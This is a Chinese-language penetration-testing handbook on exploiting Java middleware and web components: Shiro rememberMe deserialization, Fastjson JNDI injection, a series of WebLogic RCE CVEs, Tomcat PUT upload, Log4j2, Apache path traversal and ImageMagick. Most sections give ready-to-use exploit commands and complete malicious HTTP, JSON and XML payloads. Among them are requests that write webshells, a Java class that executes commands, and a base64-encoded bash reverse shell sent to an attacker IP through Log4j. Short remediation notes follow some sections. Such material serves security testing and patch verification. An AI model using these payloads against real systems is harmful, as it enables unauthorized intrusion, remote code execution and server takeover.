Shiro:
Apache Shiro是常见的Java安全框架,执行身份验证、授权、密码和会话管理。
历史维度:
Shiro <= 1.2.4 :存在shiro-550反序列化漏洞;
1.2.5 <= Shiro < 1.4.2 :存在shiro-721反序列化漏洞;
Shiro > = 1.4.2 :如果用户使用弱密钥(互联网已公开/已泄露),即使升级至最新版本,仍然存在反序列化漏洞入口。
Apache shiro 1.2.4反序列化漏洞(CVE-2016-4437)
漏洞成因:
Apache Shiro框架提供了记住我的功能(RemeberMe),用户登录成功后会生成经过加密并编码的cookie。Shiro会对cookie中的Remember me字段进行相关处理:序列化-->AES加密-->base64编码
在服务端接收cookie值后,Base64解码-->AES解密-->反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化-->AES加密-->Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
由于Shiro本身含有一个预设的AES密钥Base64.decode("KPHblxk5D2deZilxcaaaA=="),新版本到Shiro 1.2.5及以上版本,就不存在硬编码密钥的问题,而改为自定义密钥。
漏洞指纹:
在请求包的Cookie中为remeberMe字段赋任意值,比如:
rememberMe=1
返回包中存在:Set-Cookie: rememberMe=deleteMe
补充:这个默认字段的命名是可以修改的,Shiro支持在rememberMe管理器中自定义名称,可以通过在配置文件进行配置
漏洞复现:
python shiro-exploit.py echo -k kPH+bIxk5D2deZiIxcaaaA== -g CommonsCollectionsK1 -c "id"
修复方案:
- 前往官网将shiro更新至最新版本
- 更换shiro组件中的AES密钥,不要使用网上已公开的密钥,使用shiro官方提供的方法随机生成自己的密钥,并妥善保管好该密钥
- 过滤cookie中较长的rememberMe
Shiro-721 反序列化漏洞(CVE-2019-12422)
漏洞简介:
rememberMe cookie通过AES-128-CBC模式进行加密,这个CBC加密方式存在一个 Padding Oracle Attack( 填充 Oracle 攻击 ),可以通过爆破获取到所有的明文值,可以得到明文和密文值,通过改变密文值(rememberMe字段),从而达到经过服务器端AES解密后的明文值存在我们的恶意序列化数据,进行反序列化攻击,最终导致任意代码的执行。
具体方式:
通过Padding Oracle加密生成的攻击代码来重新构造一个恶意的rememberMe字段,重新请求网站,根据服务端对于AES解密成功与否的反馈提示,进行暴力猜解获取加密所需的数据
利用条件:
- Apache Shiro <= 1.4.1
- 目标环境存在反序列化漏洞利用链。
- 合法的登录账号,利用账号正常登陆获取一个有效的rememberMe cookie(AES解密失败”和“AES解密成功但认证失败”这两种情况服务端反馈是一样的)
适用场景:
目标存在shiro反序列化利用链但未使用默认AES密钥,可根据任一合法的rememberMe值通过PaddingOracle Attack获取AES加密所需的数据。从而实现远程代码执行。
漏洞利用:
- 登录 Shiro 测试账户获取合法 Cookie(勾选Remember Me):
- 使用Java反序列化工具 ysoserial 生成 Payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 9rtmxe.ceye.io" > payload.class
- 通过 Padding Oracle Attack 生成 Evil Rememberme cookie:
Usage: shiro_exp.py <url> <somecookie value> payload.class
注意:每运行一次EXP脚本,将消耗5G以上的物理存储
- 使用Evil Rememberme cookie 认证进行反序列化攻击:
注意:需要使JSESSIONID失效或者将cookie中的JSESSIONID字段删除才能触发反序列化
补充:
一键化利用工具:ShiroExploit.V2.51
shiro rememberMe 在线加解密:
Fastjson:
fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
Fastjson反序列化漏洞:
漏洞简介:
Fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性,允许用户在反序列化数据中通过“@type”指定反序列化的类型。Fastjson autotype在处理json对象时,未对@type字段进行安全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
漏洞历史:
- 1.2.24及之前没有任何防御,并且autotype默认开启
- 1.2.25开始默认关闭了autotype支持,并且加入了checkAutotype,加入了黑名单+白名单来防御autotype开启的情况。在1.2.48之前的版本中,可以利用特殊构造的json字符串绕过白名单检测。
- 在1.2.48到最新版本1.2.68之间,都是增加黑名单类。
- 在1.2.68及之后的版本,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。只要设置@type类型,想反序列化指定类对象的时候,就会抛异常。
Fastjson1.2.24 反序列化漏洞(CVE-2017-18349):
Fastjson1.2.47 反序列化漏洞(CNVD‐2019‐22238):
Fastjson组件探测:
- 利用dnslog探测:
目前fastjson探测比较通用的就是dnslog方式去探测,其中Inet4Address、Inet6Address直到1.2.67都可用,收集互联网上公开的Payload:
{"rand1": {"@type":"java.net.InetAddress", "val": "dnslog"}}
{"rand2": {"@type": "java.net.Inet4Address", "val": "dnslog"}}
{"rand3": {"@type":"java.net.Inet6Address", "val": "dnslog"}}
{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}
{"rand5":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}
{"rand6":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}
{"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}
当发现数据包中的请求类型为json格式或者参数值为json格式时注入如上payload:
- 利用报错信息:
尝试构造畸形的json数据使之报错,比如不进行闭合花括号或者参数值修改为其他类型,在报错内容中检测是否含有fastjson
- 延时判断:(适用于服务器不出网)
Fastjson反序列漏洞利用过程存在java版本限制:
- 基于rmi的利用方式:
适用jdk版本:JDK 6u141, JDK 7u131, JDK 8u121之前。
在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。- 基于ldap的利用方式:
适用jdk版本:JDK 11.0.1、8u182、7u191、6u201之前。
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
当目标服务器的JDK环境在上述范围之内时,没有com.sun.jndi.rmi.object.trustURLCodebase
的限制,可以使用com.sun.rowset.JdbcRowSetImp
l利用链结合JNDI注入执行远程命令
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
漏洞利用:
- 启动 JNDI-Injection-Exploit:
-C:远程class文件中要执行的命令。 -A:指向服务端地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/88888" -A 192.168.107.155
-
构造恶意请求发送至服务器:
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.107.155:1389/cdop21","autoCommit":true}}
- 成功创建文件:
补充:
从1.2.25开始,fastjson默认关闭了autotype,并且加入了checkAutotype检测机制
设置了黑名单,如果ClassName命中黑名单,程序则直接抛出异常:
autoType is not support.在1.2.68引入了safemode,打开safemode时,@type这个specialkey完全无用,无论白名单和黑名单,都不支持autoType了。
项目地址:https://github.com/wyzxxz/jndi_tool
1、启动LDAP服务,1389为LDAP服务的端口,后面跟的是所要执行的命令:
java -cp jndi_tool.jar jndi.HLDAPServer 192.168.107.170 1389 "curl 659kc0z962nh5natgweh29p1csii67.burpcollaborator.net"
2、构造请求包发送给服务器:
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.107.170:1389/Object","autoCommit":true}}
工具推荐:
https://github.com/zilong3033/fastjsonScan:支持fastjson<=1.2.24和1.2.33<=fatjson<=1.2.47的不出网检测方案
https://github.com/pmiaowu/BurpFastJsonScan:支持自定义扫描类型设置
Weblogic:
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架 构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库 应用的Java应用服务器。
指纹识别:
- nmap:
- 404/403页面:
XMLDecoder反序列化漏洞(CVE-2017-3506):
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
在/wls-wsat/CoordinatorPortType(POST)处构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.107.169:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: text/xml
Content-Length: 547
Connection: close
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test hello"); %>
]]>
</string>
</void>
<void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
在标签之间分别写存放jsp的路径和要写入的shell
Weblogic_wls-wsat_XMLDecoder反序列化漏洞(CVE-2017-10271):
在CVE-2017-3506之前,不对payload进行验证,使用object tag可以RCE,它的补丁添加了validate方法,在解析xml时,Element字段出现object tag就抛出运行时异常,但这次防护力度不够,导 致了CVE-2017-10271,利用方式类似,使用了void tag进行RCE。
影响版本:
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
只要在wls-wsat包中的Uri都受影响,可以在web.xml中查看所有受影响的Uri:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml
默认受到影响的Uri:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
漏洞利用:
需求在请求类型中设置为text/xml,否则可能导致XMLDecoder不解析:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.107.169:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: text/xml
Content-Length: 596
Connection: close
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("hello"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
修复建议:
(1)下载Oracle推送补丁,下载地址如下:
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html;
(2)根据实际环境路径,删除WebLogicwls-wsat组件;删除相关文件后重启weblogic,保证访问wls-wsat提示404错误。
Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628):
Weblogic 默认开启 T3 协议,攻击者可利用T3协议进行反序列化漏洞实现远程代码执行,未授权的用户在远程服务器执行任意命令。
影响版本:
10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3
漏洞利用:
1、首先下载ysoserial:https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
启动一个JRMP Server:
java -cp ysoserial-0.0.6-snapshot-beta-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "ping c4h16uhby742u4pvohhu7ue2ftlj98.burpcollaborator.net"
2、使用exploit.py脚本,向目标Weblogic(http://your-ip:7001
)发送数据包:
python2 exploit.py 192.168.107.170 7001 ysoserial-0.0.6-snapshot-beta-all.jar 192.168.107.129 1099 JRMPClient
成功执行命令:
利用技巧:
T3 协议通常开放在内网, 外网基本绝迹, 快速检测可以使用nmap:
nmap -Pn -sV --script=weblogic-t3-info -p 7001 192.168.107.170
修复建议:
1、过滤T3协议,连接筛选器选择,保存后重启即可。
2、禁止T3端口对外开放, 或者限制可访问T3端口的IP来源
3、禁用IIOP协议,可以查看下面官方文章进行关闭IIOP协议。
https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/channels/EnableAndConfigureIIOP.html
wls-wsat反序列化漏洞(CVE-2019-2725):
该漏洞存在于wls9-async组件,该组件为异步通讯服务,攻击者可以在/_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。
漏洞触发点:
bea_wls9_async_response.war、wsat.war
影响版本:
Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3
较上一个漏洞CVE-2017-10271补丁而言,官方新增了对 class元素的过滤,并且array元素的length属性转换为整形后不得大于10000。本次漏洞利用某个元素成功替换了补丁所限制的元素,再次绕过了补丁黑名单策略,最终造成远程命令执行
访问以下目录中的一种,如下图所示则漏洞:
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https
只要在bea_wls9_async_response包中的Uri都受影响,可以在web.xml中查看所有受影响的Uri,路径如下:Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml
漏洞利用:
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.107.170:7001
Cache-Control: no-cache
Connection: Close
Content-Type: text/xml; Charset=UTF-8
Accept: */*
Referer: http://www.baidu.com/
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3
Content-Length: 1158
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>log</wsa:Action>
<wsa:RelatesTo>log</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="3">
<void index="0">
<string>c:\windows\system32\cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>cd > ./servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/access123.log</string>
</void>
</array>
</void>
</object>
</java> </work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>
Weblogic ConSole HTTP 协议代码执行漏洞(CVE-2020-14882/14883):
此处漏洞均存在于WebLogic的控制台中。该组件为WebLogic全版本自带组件,并且该漏洞通过HTTP协议进行利用,CVE-2020-14882漏洞允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。
受影响的版本:
10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
在正常访问console后台时会提示输入帐号密码,访问以下URL,即可未授权访问到管理后台页面:/console/css/%252e%252e%252fconsole.portal
此时的权限很低,并不能在后台安装应用,所以需要结合CVE-2020-14883漏洞
漏洞利用:
- 方式一:利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令,直接访问url:
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6没有类
com.tangosol.coherence.mvel2.sh.ShellSession
- 方式二:更为通杀的方法,可用于任何Weblogic版本。使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类,需要构造一个恶意的xml文件:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[ping xxxx.dnslog.cn]]></value>
</list>
</constructor-arg>
</bean>
</beans>
POC:/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.107.129/evil.xml")
修复建议:
1、及时下载官方补丁进行升级修复:https://www.oracle.com/security-alerts/cpuoct2020.html
2、关闭后台/console/console.portal的访问权限。
3、修改后台默认地址。
Weblogic IIOP 反序列化漏洞(CVE-2020-2551):
该漏洞原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。
影响版本:
10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0
漏洞利用需要利用以下四个文件:
exp.class
exp.java
marshalsec-0.0.3-SNAPSHOT-all.jar
weblogic_CVE_2020_2551.jar/weblogic20202551.jar
exp.java源代码:
import java.io.IOException;
public class exp {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
漏洞利用:
- 在exp.java中修改执行的命令,编译生成exp.class
javac exp.java -source 1.7 -target 1.7
注意:编译class尽量使用和weblogic相同的jdk版本,特别是10.3.6.0版本,如果高于次版本会执行失败(低版本的 JDK 不兼容高版本的 JDK )
- 用python启动一个web服务,该目录下存在exp.class文件:
python -m SimpleHTTPServer 80
python3 -m http.server 80
- 使用marshalsec起一个恶意的RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.107.129/#exp" 1099
- 利用漏洞攻击使目标弹出计算器:
java -jar weblogic20202551.jar 192.168.107.156 7001 rmi://192.168.107.129:1099/exp
修复建议:
- 通过 weblogic 控制台进行关闭 IIOP 协议,然后重新启动 weblogic服务。
- 安装 weblogic 修复补丁,进行修复。
Weblogic Server远程代码执行(CVE-2021-2109 ):
攻击者可通过LDAP协议方式实现JNDI注入攻击,加载远程CodeBase下的恶意类,最后达到远程代码执行。该漏洞利用需要身份验证。
影响版本:
Weblogic Server 10.3.6.0.0
Weblogic Server 12.1.3.0.0
Weblogic Server 12.2.1.3.0
Weblogic Server 12.2.1.4.0
Weblogic Server 14.1.1.0.0
利用 JNDI 注入工具生成payload:
https://github.com/welk1n/JNDI-Injection-Exploit
漏洞利用:
1、远程服务器启动JNDI Server:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 192.168.107.129
2、构造恶意的HTTP数据包发送给服务器:
服务端接收到payload,执行:
可以结合CVE-2020-14882权限绕过漏洞,删除cookie,重新构造数据包
POST /console/css/%252e%252e/consolejndi.portal HTTP/1.1
Host: 192.168.107.156:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.107;129:1389/ofgguk;AdminServer%22)
修复建议:
1.升级Weblogic Server运行环境的JDK版本
2.禁用T3协议, 进入Weblogic控制台,在base_domain配置页点击“安全”选项卡 -> “筛选器”,配置筛选器,在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入:* * 7001 deny t3 t3s
3.使用Weblogic Server官方提供的安全补丁进行修复,https://www.oracle.com/security-alerts/cpujan2021.html
4.临时关闭后台/console/console.portal对外访问
5.禁止启用IIOP,登陆Weblogic控制台,找到启用IIOP选项,取消勾选并重启
漏洞测试:
访问以下路径,如果出现未授权访问的情况,证明可以利用:
/console/css/%252e%252e%252f/consolejndi.portal
Weblogic反序列化漏洞(CVE-2021-2394):
攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。
这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。
影响版本:
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
靶机环境:vulhub里的CVE-2020-14882
漏洞利用:
1、启动一个ldap服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C [执行的命令] -A [开启ldap服务的vps]
2、发起攻击:
java -jar CVE_2021_2394.jar [被攻击者IP] [端口] [生成的ldap服务,jdk7\jdk8都可以]
java -jar CVE_2021_2394.jar 192.168.107.129 7001 ldap://192.168.107.155:1389/qt2ogj
修复建议:
当前官方已发布受影响版本的对应补丁,建议受影响的用户及时更新官方的安全补丁。链接如下:https://www.oracle.com/security-alerts/cpuapr2021.html
中间件相关:
Tomcat:
- Tomcat后台爆破+部署war马getshell
- Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)
利用条件:
Windows+Tomcat 7.0.x+配置文件readonly=false
影响版本:
Apache Tomcat 7.0.0 - 7.0.81
PUT /123.txt/ HTTP/1.1
Host: 192.168.107.129:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Connection: close
Content-Length: 12
just test!
PUT /1.jsp%20 HTTP/1.1
PUT /1.jsp::$DATA HTTP/1.1
PUT /1.jsp/ HTTP/1.1(适合Windows系统及Linux系统,覆盖了Tomcat 5.x-9.x)
Apache:
- Apache log4j2 远程代码执行漏洞(CVE-2021-44228)
Apache Log4j2 是一款开源的 Java 日志记录工具,它存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
影响范围:
Log4j 2.x <= 2.15.0-rc1
靶机环境搭建:
docker pull vulfocus/log4j2-rce-2021-12-09
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
漏洞探测:
web应用程序有可能会将以下数据进行日志记录,从而触发漏洞:Referer
、User-Agent
、IP
、Cookie
、用户名/密码
POC:?payload=${jndi:ldap://xxxxx.com/test}
漏洞利用:
1、攻击者启动JNDI服务
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i Attacker-ip
2、对想要执行的命令进行base64编码,对base64编码后还存在特殊字符的,还需要对特殊字符进行两次url编码(比如=
进行两次url编码为%253d
:
bash -i >& /dev/tcp/192.168.107.155/8888 0>&1 --> YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjEwNy4xNTUvODg4OCAwPiYx
?payload=${jndi:ldap://192.168.107.155:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEwNy4xNTUvODg4OCAwPiYx}
3、构造恶意请求发送给服务器:
成功执行系统命令,反弹shell到攻击者服务器:
- Apache远程代码执行漏洞(CVE-2021-42013):
由于对CVE-2021-41773的修复不充分,攻击者可以使用路径遍历攻击,将URL映射到由类似别名的指令配置的目录之外的文件,如果这些目录外的文件没有受到默认配置"require all denied "的保护,则这些恶意请求就会成功。如果还为这些别名路径启用了 CGI 脚本,则能够导致远程代码执行。
影响范围
Apache HTTP Server 2.4.49
Apache HTTP Server 2.4.50
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
编辑器相关:
百度Ueditor编辑器 NET版本任意文件上传:详情参考:百度Ueditor编辑器漏洞总结
该任意文件上传漏洞存在于1.4.3.3、1.5.0和1.3.6版本中,并且只有.NET版本受该漏洞影响。黑客可以利用该漏洞上传木马文件,执行命令控制服务器。
FCKeditor上传漏洞: 详情参考:红队必备手册 - 编辑器漏洞手册
其他补充:
ImageMagick 命令执行漏洞(CVE-2016-3714):
ImageMagick 是一款开源图片处理库,支持PHP、Ruby、NodeJS和Python等多种语言,使用非常广泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多个图片处理插件都依赖它运行。
漏洞成因:
使用 system() 指令调用来处理 HTTPS 请求,而对用户传入的 shell 参数没有做好过滤,导致能注入任意指令执行。
POC:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"| command")'
pop graphic-context